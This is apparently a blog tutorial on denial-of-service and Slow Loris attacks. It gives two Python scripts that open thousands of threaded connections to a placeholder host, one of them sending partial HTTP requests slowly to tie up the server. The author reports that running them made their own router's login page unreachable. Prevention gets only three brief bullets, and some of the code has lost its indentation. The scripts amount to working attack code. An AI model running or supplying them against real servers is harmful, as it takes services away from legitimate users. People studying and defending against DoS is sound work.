DENIAL OF SERVICE

                                                                    SLOW LORIS ATTACK 



TOPICS DISCUSSED:--

  1.   DENIAL OF SERVICE ATTACK 
  2.    SLOW LORIS ATTACK
  3.   PREVENTING SLOW LORIS



WHAT IS DENIAL OF SERVICE ATTACK?




a denial-of-service attack (DoS attack) is a cyber-attack  where server is made unavailable to its intended users by temporarily or indefinitely disrupting services of a host connected to a network. 

done by flooding the targeted machine with many requests in an attempt to overload systems and prevent some or all legitimate requests from being fulfilled.

PYTHON PROGRAM TO DOS--this program is just an illustration on working of dos attack

______________________________________________________________________

import socket
import time
import threading

requests = """GET / HTTP/1.1
Host: HOSTNAME
"""

def slowl():
s = socket.socket()
s.connect(("HOSTNAME", 80))
s.send(requests.encode())
print(s.recv(1024))
s.close()


for i in range(100000):
send_thread = threading.Thread(target=slowl)
send_thread.start()
time.sleep(0.5)

EXPLANATION:

 when we call the function a socket is created and connects to the target and sends the request to the server server .

This is effective when threading is applied. so now at a time multiple connections are created and request is sent to the server. so the server is kept busy with the requests and hence a DOS attack

_________________________________________________________________________________

WHAT IS SLOW LORIS ATTACK?

Slow loris is a type of denial of service attack tool which allows a single machine to take down a web server with minimal bandwidth.
Slow loris tries to keep many connections to the target web server open and hold them open as long as possible. It accomplishes this by opening connections to the target web server and sending a partial request. 
Because Slow loris sends partial packets,  traditional intrusion detection systems are not particularly effective at detecting this type of DDoS attack




PYTHON PROGRAM TO SL--this program is just an illustration on working of slow loris attack
___________________________________________________________________
import socket
import time
import threading

req = """GET / HTTP/1.1
Host: HOSTNAME
"""
#list of words in the request
reql = list(req)
print(reql)

def slowl():
#creating a socket amd connecting to the server
s = socket.socket()
s.connect(("HOSTNAME", 80))
#sending the request bit by bit
for i in reql:
s.send(i.encode())
#waiting for .5 sec to pass
time.sleep(.5)
print(s.recv(1024))
s.close()


for i in range(1000):
#creating threads
send_thread = threading.Thread(target=slowl)
send_thread.start()
#waiting 1 sec to create another thread.
time.sleep(1)


EXPLANATION:
 the request is bifurcated in a list.
now when we call the function a socket is created and connects to the target and in a loop each byte of data is sent to the server and each time it sleeps for 0,5 seconds in order to send the data very slow.
This is effective when threading is applied. so now at a time multiple connections are created and request is sent to the server at a slow pace possible, hence a slow loris attack.

__________________________________________________________________


 PREVENTING SLOW LORIS


• Increase the maximum number of clients the Web server will allow.
• Minimise the number of connections per IP address.
• Constrain the amount of time a client is permitted to stay connected.

_____________________________________________________

AFTER RUNNING THE PROGRAM ON MY ROUTERS WEB PAGE I WAS UNABLE TO LOGIN INTO MY ROUTER WEB PAGE


you can find the  files in my github repository---SECURERAM GITHUB










 

Comments

Popular posts from this blog